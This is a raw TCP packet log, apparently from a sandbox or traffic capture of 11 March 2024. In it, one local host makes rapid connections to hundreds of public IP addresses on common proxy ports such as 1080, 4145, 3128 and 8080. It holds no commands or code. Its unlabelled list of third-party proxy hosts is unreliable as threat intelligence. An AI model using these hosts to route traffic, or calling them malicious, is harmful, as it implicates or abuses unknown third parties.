Mar 11, 2024 15:21:02.481411934 CET	49931	999	192.168.2.9	190.97.238.84
Mar 11, 2024 15:21:02.481419086 CET	49923	11251	192.168.2.9	188.164.193.178
Mar 11, 2024 15:21:02.482933044 CET	51098	28618	192.168.2.9	109.238.12.156
Mar 11, 2024 15:21:02.482934952 CET	51099	80	192.168.2.9	50.237.207.186
Mar 11, 2024 15:21:02.485014915 CET	4145	50750	98.181.137.83	192.168.2.9
Mar 11, 2024 15:21:02.486313105 CET	50750	4145	192.168.2.9	98.181.137.83
Mar 11, 2024 15:21:02.486517906 CET	50750	4145	192.168.2.9	98.181.137.83
Mar 11, 2024 15:21:02.487198114 CET	5000	50151	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.487214088 CET	5000	50151	49.228.131.169	192.168.2.9
Mar 11, 2024 15:21:02.487343073 CET	50151	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.487343073 CET	50151	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.487401962 CET	51100	8080	192.168.2.9	38.156.72.133
Mar 11, 2024 15:21:02.487437010 CET	8080	50224	194.247.173.17	192.168.2.9
Mar 11, 2024 15:21:02.487451077 CET	8080	50224	194.247.173.17	192.168.2.9
Mar 11, 2024 15:21:02.487536907 CET	8080	50224	194.247.173.17	192.168.2.9
Mar 11, 2024 15:21:02.487703085 CET	1080	50139	138.36.150.16	192.168.2.9
Mar 11, 2024 15:21:02.487737894 CET	50224	8080	192.168.2.9	194.247.173.17
Mar 11, 2024 15:21:02.487797976 CET	50224	8080	192.168.2.9	194.247.173.17
Mar 11, 2024 15:21:02.488169909 CET	51102	5000	192.168.2.9	49.228.131.169
Mar 11, 2024 15:21:02.488177061 CET	51101	80	192.168.2.9	34.154.161.152
Mar 11, 2024 15:21:02.488244057 CET	8081	50249	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.488370895 CET	50249	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.488524914 CET	50249	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.488526106 CET	51103	1976	192.168.2.9	41.65.227.98
Mar 11, 2024 15:21:02.488527060 CET	1080	50139	138.36.150.16	192.168.2.9
Mar 11, 2024 15:21:02.488903046 CET	51105	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:02.488905907 CET	51104	3128	192.168.2.9	3.122.84.99
Mar 11, 2024 15:21:02.489154100 CET	51106	1080	192.168.2.9	89.218.8.152
Mar 11, 2024 15:21:02.489437103 CET	51107	45517	192.168.2.9	176.31.110.126
Mar 11, 2024 15:21:02.489691019 CET	51108	1080	192.168.2.9	138.36.150.16
Mar 11, 2024 15:21:02.489692926 CET	51109	1080	192.168.2.9	103.234.27.153
Mar 11, 2024 15:21:02.490055084 CET	8081	50249	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:02.490070105 CET	8888	50636	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.490089893 CET	51110	80	192.168.2.9	50.168.72.119
Mar 11, 2024 15:21:02.490149975 CET	51111	80	192.168.2.9	104.16.106.65
Mar 11, 2024 15:21:02.490149975 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.490351915 CET	50636	8888	192.168.2.9	119.3.215.41
Mar 11, 2024 15:21:02.490777969 CET	8080	49991	187.157.243.254	192.168.2.9
Mar 11, 2024 15:21:02.490811110 CET	51112	39095	192.168.2.9	192.163.200.82
Mar 11, 2024 15:21:02.491179943 CET	51114	60775	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:02.491180897 CET	51113	4145	192.168.2.9	206.220.175.2
Mar 11, 2024 15:21:02.491647959 CET	51116	8446	192.168.2.9	146.59.70.29
Mar 11, 2024 15:21:02.491647959 CET	51115	8080	192.168.2.9	80.241.251.54
Mar 11, 2024 15:21:02.491936922 CET	51117	37581	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.492263079 CET	51118	5678	192.168.2.9	95.182.78.3
Mar 11, 2024 15:21:02.492526054 CET	51119	8080	192.168.2.9	45.227.193.166
Mar 11, 2024 15:21:02.492618084 CET	80	50025	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.492837906 CET	51120	12551	192.168.2.9	149.20.253.81
Mar 11, 2024 15:21:02.493082047 CET	51121	999	192.168.2.9	38.51.243.189
Mar 11, 2024 15:21:02.493259907 CET	51122	11201	192.168.2.9	38.41.0.60
Mar 11, 2024 15:21:02.493973970 CET	51123	1080	192.168.2.9	194.146.110.228
Mar 11, 2024 15:21:02.494144917 CET	51124	4145	192.168.2.9	184.178.172.11
Mar 11, 2024 15:21:02.494152069 CET	22847	50832	167.172.159.43	192.168.2.9
Mar 11, 2024 15:21:02.494920015 CET	51126	5020	192.168.2.9	202.164.209.69
Mar 11, 2024 15:21:02.494924068 CET	51125	34405	192.168.2.9	212.110.188.198
Mar 11, 2024 15:21:02.495026112 CET	3128	50693	18.135.211.182	192.168.2.9
Mar 11, 2024 15:21:02.495249987 CET	80	50829	50.168.72.118	192.168.2.9
Mar 11, 2024 15:21:02.495290995 CET	80	49875	50.172.75.121	192.168.2.9
Mar 11, 2024 15:21:02.495347023 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:02.495620012 CET	51127	80	192.168.2.9	50.174.7.158
Mar 11, 2024 15:21:02.495651007 CET	16487	50874	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.495666027 CET	3091	50830	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.495688915 CET	8888	49834	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.495701075 CET	8888	49834	119.3.215.41	192.168.2.9
Mar 11, 2024 15:21:02.495713949 CET	8899	49973	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.495748997 CET	50874	16487	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.496258020 CET	50874	16487	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.496371984 CET	50693	3128	192.168.2.9	18.135.211.182
Mar 11, 2024 15:21:02.496474028 CET	80	50025	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.496490955 CET	80	49932	50.168.210.235	192.168.2.9
Mar 11, 2024 15:21:02.496503115 CET	80	49949	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.496655941 CET	80	49949	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.496670008 CET	80	50672	177.12.118.160	192.168.2.9
Mar 11, 2024 15:21:02.496961117 CET	50672	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.496963024 CET	50035	8080	192.168.2.9	34.84.95.189
Mar 11, 2024 15:21:02.496963978 CET	49942	80	192.168.2.9	93.117.225.195
Mar 11, 2024 15:21:02.496983051 CET	50084	80	192.168.2.9	20.205.61.143
Mar 11, 2024 15:21:02.496985912 CET	49943	3128	192.168.2.9	165.232.89.116
Mar 11, 2024 15:21:02.496984959 CET	50191	50563	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:02.496997118 CET	49938	36363	192.168.2.9	51.222.241.157
Mar 11, 2024 15:21:02.496998072 CET	8060	50546	38.54.95.19	192.168.2.9
Mar 11, 2024 15:21:02.496997118 CET	49748	80	192.168.2.9	52.67.10.183
Mar 11, 2024 15:21:02.497003078 CET	49944	27102	192.168.2.9	128.199.196.31
Mar 11, 2024 15:21:02.497003078 CET	50193	80	192.168.2.9	50.231.110.26
Mar 11, 2024 15:21:02.497478008 CET	50672	80	192.168.2.9	177.12.118.160
Mar 11, 2024 15:21:02.497517109 CET	80	50690	61.79.73.225	192.168.2.9
Mar 11, 2024 15:21:02.497613907 CET	4145	50787	184.181.217.210	192.168.2.9
Mar 11, 2024 15:21:02.497647047 CET	50690	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.497880936 CET	50787	4145	192.168.2.9	184.181.217.210
Mar 11, 2024 15:21:02.498366117 CET	80	49997	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.498383999 CET	5050	50852	23.152.40.15	192.168.2.9
Mar 11, 2024 15:21:02.498532057 CET	50852	5050	192.168.2.9	23.152.40.15
Mar 11, 2024 15:21:02.499805927 CET	51129	4153	192.168.2.9	202.43.182.3
Mar 11, 2024 15:21:02.500236034 CET	51128	53281	192.168.2.9	179.60.240.69
Mar 11, 2024 15:21:02.500595093 CET	4153	50587	88.135.44.39	192.168.2.9
Mar 11, 2024 15:21:02.500614882 CET	80	50676	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:02.501007080 CET	50676	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.502275944 CET	80	49856	50.221.74.130	192.168.2.9
Mar 11, 2024 15:21:02.502295017 CET	4145	50907	24.249.199.12	192.168.2.9
Mar 11, 2024 15:21:02.502331018 CET	51130	999	192.168.2.9	200.24.141.161
Mar 11, 2024 15:21:02.502444983 CET	50907	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:02.502686024 CET	80	50689	8.211.4.215	192.168.2.9
Mar 11, 2024 15:21:02.502728939 CET	51131	8081	192.168.2.9	113.53.3.242
Mar 11, 2024 15:21:02.502847910 CET	50689	80	192.168.2.9	8.211.4.215
Mar 11, 2024 15:21:02.503186941 CET	51133	80	192.168.2.9	172.67.181.58
Mar 11, 2024 15:21:02.503194094 CET	51132	12903	192.168.2.9	69.167.169.46
Mar 11, 2024 15:21:02.503524065 CET	51134	3128	192.168.2.9	163.172.33.148
Mar 11, 2024 15:21:02.503855944 CET	51135	9090	192.168.2.9	47.104.0.12
Mar 11, 2024 15:21:02.504245043 CET	80	50743	50.172.75.123	192.168.2.9
Mar 11, 2024 15:21:02.504652977 CET	51136	5678	192.168.2.9	182.253.159.115
Mar 11, 2024 15:21:02.504791975 CET	4145	50665	36.90.61.224	192.168.2.9
Mar 11, 2024 15:21:02.504911900 CET	1080	50638	181.3.51.47	192.168.2.9
Mar 11, 2024 15:21:02.505256891 CET	4145	50873	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:02.505731106 CET	51137	8080	192.168.2.9	202.165.39.102
Mar 11, 2024 15:21:02.506022930 CET	80	50473	185.162.231.254	192.168.2.9
Mar 11, 2024 15:21:02.506990910 CET	51138	1976	192.168.2.9	154.236.179.226
Mar 11, 2024 15:21:02.507822990 CET	4145	50810	72.206.181.123	192.168.2.9
Mar 11, 2024 15:21:02.507862091 CET	4506	50082	8.213.128.90	192.168.2.9
Mar 11, 2024 15:21:02.507896900 CET	8899	50678	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.508012056 CET	50082	4506	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:02.508012056 CET	50810	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:02.508017063 CET	4145	50444	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:02.508035898 CET	50678	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.508430004 CET	4145	50444	174.64.199.79	192.168.2.9
Mar 11, 2024 15:21:02.508461952 CET	51139	85	192.168.2.9	103.162.141.154
Mar 11, 2024 15:21:02.508944988 CET	80	50683	104.23.141.196	192.168.2.9
Mar 11, 2024 15:21:02.508959055 CET	80	50683	104.23.141.196	192.168.2.9
Mar 11, 2024 15:21:02.509891987 CET	80	50683	104.23.141.196	192.168.2.9
Mar 11, 2024 15:21:02.509923935 CET	51140	80	192.168.2.9	50.173.140.144
Mar 11, 2024 15:21:02.510027885 CET	50683	80	192.168.2.9	104.23.141.196
Mar 11, 2024 15:21:02.511595964 CET	51141	3129	192.168.2.9	85.235.184.186
Mar 11, 2024 15:21:02.511683941 CET	8080	49868	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.512250900 CET	8899	49973	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:02.512548923 CET	80	49995	50.218.224.35	192.168.2.9
Mar 11, 2024 15:21:02.512562990 CET	3128	50349	18.135.133.116	192.168.2.9
Mar 11, 2024 15:21:02.512659073 CET	50062	4153	192.168.2.9	103.94.133.91
Mar 11, 2024 15:21:02.512660027 CET	50103	46249	192.168.2.9	167.172.109.12
Mar 11, 2024 15:21:02.512660980 CET	50165	80	192.168.2.9	35.209.198.222
Mar 11, 2024 15:21:02.512685061 CET	49940	8080	192.168.2.9	103.105.228.35
Mar 11, 2024 15:21:02.512686968 CET	50168	23085	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.512686968 CET	49945	8000	192.168.2.9	183.100.14.134
Mar 11, 2024 15:21:02.512686968 CET	50178	24465	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:02.512686968 CET	50154	45629	192.168.2.9	162.241.6.97
Mar 11, 2024 15:21:02.512686968 CET	49727	34455	192.168.2.9	162.241.66.135
Mar 11, 2024 15:21:02.512686968 CET	49946	7841	192.168.2.9	66.228.37.252
Mar 11, 2024 15:21:02.512689114 CET	50159	4519	192.168.2.9	67.43.227.227
Mar 11, 2024 15:21:02.512873888 CET	49955	8118	192.168.2.9	152.32.187.164
Mar 11, 2024 15:21:02.514447927 CET	51143	80	192.168.2.9	202.61.204.51
Mar 11, 2024 15:21:02.514447927 CET	51142	4145	192.168.2.9	185.169.181.15
Mar 11, 2024 15:21:02.514453888 CET	3128	50349	18.135.133.116	192.168.2.9
Mar 11, 2024 15:21:02.514950037 CET	1080	50647	113.121.66.250	192.168.2.9
Mar 11, 2024 15:21:02.516228914 CET	21000	50725	140.238.25.255	192.168.2.9
Mar 11, 2024 15:21:02.516335964 CET	50725	21000	192.168.2.9	140.238.25.255
Mar 11, 2024 15:21:02.517458916 CET	8080	49868	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.517473936 CET	80	50885	50.239.72.19	192.168.2.9
Mar 11, 2024 15:21:02.518151045 CET	8080	50641	103.118.46.61	192.168.2.9
Mar 11, 2024 15:21:02.518378019 CET	50641	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.518868923 CET	2363	49986	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.519299984 CET	1080	50670	111.90.150.109	192.168.2.9
Mar 11, 2024 15:21:02.519826889 CET	50670	1080	192.168.2.9	111.90.150.109
Mar 11, 2024 15:21:02.520044088 CET	10089	50064	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:02.522644997 CET	7302	50447	211.93.2.190	192.168.2.9
Mar 11, 2024 15:21:02.522782087 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:02.523091078 CET	50787	4145	192.168.2.9	184.181.217.210
Mar 11, 2024 15:21:02.523432970 CET	50690	80	192.168.2.9	61.79.73.225
Mar 11, 2024 15:21:02.524281979 CET	8800	50227	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.524360895 CET	50227	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.524471045 CET	80	50764	20.111.54.16	192.168.2.9
Mar 11, 2024 15:21:02.524579048 CET	80	50716	104.23.126.8	192.168.2.9
Mar 11, 2024 15:21:02.524609089 CET	50764	80	192.168.2.9	20.111.54.16
Mar 11, 2024 15:21:02.524662971 CET	8080	50231	143.64.8.21	192.168.2.9
Mar 11, 2024 15:21:02.524677038 CET	8080	50231	143.64.8.21	192.168.2.9
Mar 11, 2024 15:21:02.524825096 CET	8080	50231	143.64.8.21	192.168.2.9
Mar 11, 2024 15:21:02.524956942 CET	80	50716	104.23.126.8	192.168.2.9
Mar 11, 2024 15:21:02.525085926 CET	50231	8080	192.168.2.9	143.64.8.21
Mar 11, 2024 15:21:02.525144100 CET	50852	5050	192.168.2.9	23.152.40.15
Mar 11, 2024 15:21:02.525196075 CET	50676	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:02.525274992 CET	50689	80	192.168.2.9	8.211.4.215
Mar 11, 2024 15:21:02.525281906 CET	8800	50227	43.133.136.208	192.168.2.9
Mar 11, 2024 15:21:02.525295019 CET	80	50716	104.23.126.8	192.168.2.9
Mar 11, 2024 15:21:02.525379896 CET	50716	80	192.168.2.9	104.23.126.8
Mar 11, 2024 15:21:02.525711060 CET	50082	4506	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:02.525712013 CET	50810	4145	192.168.2.9	72.206.181.123
Mar 11, 2024 15:21:02.525763988 CET	50678	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:02.525885105 CET	3128	50593	213.233.178.137	192.168.2.9
Mar 11, 2024 15:21:02.525984049 CET	80	50719	173.245.49.27	192.168.2.9
Mar 11, 2024 15:21:02.525996923 CET	80	50719	173.245.49.27	192.168.2.9
Mar 11, 2024 15:21:02.526333094 CET	50349	3128	192.168.2.9	18.135.133.116
Mar 11, 2024 15:21:02.526339054 CET	50683	80	192.168.2.9	104.23.141.196
Mar 11, 2024 15:21:02.526464939 CET	29212	49752	92.204.135.203	192.168.2.9
Mar 11, 2024 15:21:02.526477098 CET	80	50719	173.245.49.27	192.168.2.9
Mar 11, 2024 15:21:02.526530027 CET	50719	80	192.168.2.9	173.245.49.27
Mar 11, 2024 15:21:02.526561975 CET	49752	29212	192.168.2.9	92.204.135.203
Mar 11, 2024 15:21:02.527465105 CET	50641	8080	192.168.2.9	103.118.46.61
Mar 11, 2024 15:21:02.527466059 CET	50725	21000	192.168.2.9	140.238.25.255
Mar 11, 2024 15:21:02.527923107 CET	50670	1080	192.168.2.9	111.90.150.109
Mar 11, 2024 15:21:02.528227091 CET	49954	8080	192.168.2.9	104.192.202.11
Mar 11, 2024 15:21:02.528238058 CET	49951	35318	192.168.2.9	162.241.79.22
Mar 11, 2024 15:21:02.528240919 CET	49957	12457	192.168.2.9	209.126.104.38
Mar 11, 2024 15:21:02.528242111 CET	50102	21358	192.168.2.9	66.42.60.190
Mar 11, 2024 15:21:02.528244019 CET	49961	23500	192.168.2.9	185.189.199.75
Mar 11, 2024 15:21:02.528244972 CET	49964	57447	192.168.2.9	154.12.253.232
Mar 11, 2024 15:21:02.528316021 CET	49967	999	192.168.2.9	45.5.118.43
Mar 11, 2024 15:21:02.528316021 CET	49965	8080	192.168.2.9	103.242.107.146
Mar 11, 2024 15:21:02.528316021 CET	49969	8001	192.168.2.9	213.171.214.19
Mar 11, 2024 15:21:02.528317928 CET	49958	19693	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:02.529266119 CET	51144	4145	192.168.2.9	174.64.199.79
Mar 11, 2024 15:21:02.529267073 CET	50447	7302	192.168.2.9	211.93.2.190
Mar 11, 2024 15:21:02.529680014 CET	50227	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.529746056 CET	80	50966	172.67.181.147	192.168.2.9
Mar 11, 2024 15:21:02.529855013 CET	50966	80	192.168.2.9	172.67.181.147
Mar 11, 2024 15:21:02.530251980 CET	50764	80	192.168.2.9	20.111.54.16
Mar 11, 2024 15:21:02.530612946 CET	51145	10089	192.168.2.9	147.75.92.251
Mar 11, 2024 15:21:02.530755043 CET	50231	8080	192.168.2.9	143.64.8.21
Mar 11, 2024 15:21:02.531279087 CET	50716	80	192.168.2.9	104.23.126.8
Mar 11, 2024 15:21:02.531475067 CET	80	50972	203.23.104.167	192.168.2.9
Mar 11, 2024 15:21:02.531584978 CET	80	50541	104.20.67.113	192.168.2.9
Mar 11, 2024 15:21:02.531714916 CET	50972	80	192.168.2.9	203.23.104.167
Mar 11, 2024 15:21:02.531750917 CET	80	50731	104.16.105.146	192.168.2.9
Mar 11, 2024 15:21:02.531764030 CET	80	50731	104.16.105.146	192.168.2.9
Mar 11, 2024 15:21:02.531775951 CET	80	50545	104.20.75.31	192.168.2.9
Mar 11, 2024 15:21:02.531806946 CET	80	50731	104.16.105.146	192.168.2.9
Mar 11, 2024 15:21:02.532013893 CET	51146	8800	192.168.2.9	43.133.136.208
Mar 11, 2024 15:21:02.532075882 CET	50731	80	192.168.2.9	104.16.105.146
Mar 11, 2024 15:21:02.532879114 CET	50731	80	192.168.2.9	104.16.105.146
Mar 11, 2024 15:21:02.532886028 CET	50719	80	192.168.2.9	173.245.49.27
Mar 11, 2024 15:21:02.532954931 CET	80	50988	104.20.233.70	192.168.2.9
Mar 11, 2024 15:21:02.533119917 CET	50988	80	192.168.2.9	104.20.233.70
Mar 11, 2024 15:21:02.533416033 CET	50966	80	192.168.2.9	172.67.181.147
Mar 11, 2024 15:21:02.533600092 CET	50972	80	192.168.2.9	203.23.104.167
Mar 11, 2024 15:21:02.534039021 CET	50988	80	192.168.2.9	104.20.233.70
Mar 11, 2024 15:21:02.534151077 CET	33427	50741	5.39.19.154	192.168.2.9
Mar 11, 2024 15:21:02.534327030 CET	51147	4153	192.168.2.9	1.179.194.137
Mar 11, 2024 15:21:02.534524918 CET	25427	49996	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.535475969 CET	80	50344	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:02.536509037 CET	8197	50732	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:02.536585093 CET	50732	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.536672115 CET	80	49710	117.160.250.133	192.168.2.9
Mar 11, 2024 15:21:02.536726952 CET	80	49710	117.160.250.133	192.168.2.9
Mar 11, 2024 15:21:02.536739111 CET	80	49710	117.160.250.133	192.168.2.9
Mar 11, 2024 15:21:02.536753893 CET	51148	8000	192.168.2.9	103.182.112.11
Mar 11, 2024 15:21:02.536806107 CET	49710	80	192.168.2.9	117.160.250.133
Mar 11, 2024 15:21:02.536848068 CET	80	50344	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:02.537197113 CET	49710	80	192.168.2.9	117.160.250.133
Mar 11, 2024 15:21:02.537898064 CET	9039	50879	67.43.227.228	192.168.2.9
Mar 11, 2024 15:21:02.538029909 CET	50732	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:02.540241003 CET	18762	50911	192.111.137.37	192.168.2.9
Mar 11, 2024 15:21:02.540608883 CET	80	51014	172.67.182.126	192.168.2.9
Mar 11, 2024 15:21:02.540903091 CET	51014	80	192.168.2.9	172.67.182.126
Mar 11, 2024 15:21:02.541217089 CET	51149	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:02.541264057 CET	80	51011	104.24.220.52	192.168.2.9
Mar 11, 2024 15:21:02.541394949 CET	51011	80	192.168.2.9	104.24.220.52
Mar 11, 2024 15:21:02.541649103 CET	51014	80	192.168.2.9	172.67.182.126
Mar 11, 2024 15:21:02.542032957 CET	8193	50582	175.183.82.221	192.168.2.9
Mar 11, 2024 15:21:02.542110920 CET	51011	80	192.168.2.9	104.24.220.52
Mar 11, 2024 15:21:02.542110920 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.543211937 CET	80	50788	59.6.26.121	192.168.2.9
Mar 11, 2024 15:21:02.543425083 CET	50788	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.543831110 CET	50124	3128	192.168.2.9	144.91.106.93
Mar 11, 2024 15:21:02.543859005 CET	49977	999	192.168.2.9	38.52.193.193
Mar 11, 2024 15:21:02.543864012 CET	49959	8080	192.168.2.9	112.78.131.6
Mar 11, 2024 15:21:02.543900967 CET	49979	8181	192.168.2.9	176.98.22.224
Mar 11, 2024 15:21:02.543904066 CET	49960	5678	192.168.2.9	221.120.218.188
Mar 11, 2024 15:21:02.543904066 CET	49981	19132	192.168.2.9	113.160.247.27
Mar 11, 2024 15:21:02.543903112 CET	50137	8080	192.168.2.9	49.13.124.150
Mar 11, 2024 15:21:02.543903112 CET	49983	80	192.168.2.9	149.202.91.219
Mar 11, 2024 15:21:02.543919086 CET	808	50177	8.213.128.90	192.168.2.9
Mar 11, 2024 15:21:02.544766903 CET	50177	808	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:02.544848919 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.545100927 CET	50788	80	192.168.2.9	59.6.26.121
Mar 11, 2024 15:21:02.545501947 CET	8080	50658	206.189.130.107	192.168.2.9
Mar 11, 2024 15:21:02.548604012 CET	50177	808	192.168.2.9	8.213.128.90
Mar 11, 2024 15:21:02.548614979 CET	51150	1994	192.168.2.9	190.238.231.65
Mar 11, 2024 15:21:02.549117088 CET	51151	47152	192.168.2.9	217.23.11.194
Mar 11, 2024 15:21:02.549549103 CET	51152	8880	192.168.2.9	115.127.13.154
Mar 11, 2024 15:21:02.551142931 CET	8080	50122	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:02.551624060 CET	1581	50023	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.551722050 CET	80	50789	104.25.167.88	192.168.2.9
Mar 11, 2024 15:21:02.551848888 CET	80	50789	104.25.167.88	192.168.2.9
Mar 11, 2024 15:21:02.552154064 CET	51153	8080	192.168.2.9	103.190.54.141
Mar 11, 2024 15:21:02.552529097 CET	80	50789	104.25.167.88	192.168.2.9
Mar 11, 2024 15:21:02.552588940 CET	50789	80	192.168.2.9	104.25.167.88
Mar 11, 2024 15:21:02.552588940 CET	50789	80	192.168.2.9	104.25.167.88
Mar 11, 2024 15:21:02.555558920 CET	80	49887	50.170.90.27	192.168.2.9
Mar 11, 2024 15:21:02.555572987 CET	80	50391	41.207.187.178	192.168.2.9
Mar 11, 2024 15:21:02.556730986 CET	51154	8085	192.168.2.9	191.102.254.54
Mar 11, 2024 15:21:02.556766987 CET	3128	50819	172.233.255.11	192.168.2.9
Mar 11, 2024 15:21:02.557125092 CET	51155	8080	192.168.2.9	103.169.130.46
Mar 11, 2024 15:21:02.557374001 CET	51156	62607	192.168.2.9	50.62.134.139
Mar 11, 2024 15:21:02.557596922 CET	51157	1080	192.168.2.9	190.104.213.175
Mar 11, 2024 15:21:02.557909012 CET	51158	9091	192.168.2.9	182.106.220.252
Mar 11, 2024 15:21:02.559238911 CET	4145	50868	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.559402943 CET	50868	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.559437990 CET	49985	3127	192.168.2.9	101.255.118.10
Mar 11, 2024 15:21:02.559438944 CET	49990	8080	192.168.2.9	49.48.126.12
Mar 11, 2024 15:21:02.559467077 CET	49993	999	192.168.2.9	181.78.19.249
Mar 11, 2024 15:21:02.559465885 CET	49998	50386	192.168.2.9	161.97.173.42
Mar 11, 2024 15:21:02.559465885 CET	49984	8080	192.168.2.9	103.83.0.46
Mar 11, 2024 15:21:02.559474945 CET	49982	53340	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:02.559556961 CET	49976	39574	192.168.2.9	72.167.222.113
Mar 11, 2024 15:21:02.559588909 CET	49988	8080	192.168.2.9	186.103.130.91
Mar 11, 2024 15:21:02.559597015 CET	49989	52593	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.560007095 CET	1080	50399	101.250.10.211	192.168.2.9
Mar 11, 2024 15:21:02.560106039 CET	1080	50399	101.250.10.211	192.168.2.9
Mar 11, 2024 15:21:02.560327053 CET	50399	1080	192.168.2.9	101.250.10.211
Mar 11, 2024 15:21:02.560631990 CET	50399	1080	192.168.2.9	101.250.10.211
Mar 11, 2024 15:21:02.561177015 CET	3128	50037	84.17.35.129	192.168.2.9
Mar 11, 2024 15:21:02.561206102 CET	50868	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.561363935 CET	1080	50577	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:02.561621904 CET	1080	50577	23.19.244.109	192.168.2.9
Mar 11, 2024 15:21:02.561765909 CET	50577	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.562076092 CET	50577	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.562701941 CET	51159	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.563424110 CET	8080	50714	114.132.202.78	192.168.2.9
Mar 11, 2024 15:21:02.563510895 CET	50714	8080	192.168.2.9	114.132.202.78
Mar 11, 2024 15:21:02.563659906 CET	4145	50520	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.563715935 CET	4145	50520	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.564137936 CET	50714	8080	192.168.2.9	114.132.202.78
Mar 11, 2024 15:21:02.565748930 CET	22611	50031	67.43.227.228	192.168.2.9
Mar 11, 2024 15:21:02.565886021 CET	19403	50033	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.567585945 CET	8080	50730	91.202.230.219	192.168.2.9
Mar 11, 2024 15:21:02.567646027 CET	50730	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:02.567919970 CET	50730	8080	192.168.2.9	91.202.230.219
Mar 11, 2024 15:21:02.569020987 CET	51160	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.569319010 CET	51161	3128	192.168.2.9	185.236.202.205
Mar 11, 2024 15:21:02.569673061 CET	51162	8090	192.168.2.9	27.147.131.122
Mar 11, 2024 15:21:02.570031881 CET	51163	80	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:02.570204973 CET	51164	60283	192.168.2.9	164.92.86.113
Mar 11, 2024 15:21:02.570496082 CET	51165	80	192.168.2.9	120.78.191.68
Mar 11, 2024 15:21:02.572232962 CET	5585	50917	67.43.236.20	192.168.2.9
Mar 11, 2024 15:21:02.572247028 CET	4153	50773	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.572259903 CET	4153	49980	138.36.196.11	192.168.2.9
Mar 11, 2024 15:21:02.572318077 CET	50773	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.573175907 CET	50773	4153	192.168.2.9	138.36.196.11
Mar 11, 2024 15:21:02.573757887 CET	51166	8282	192.168.2.9	119.2.52.152
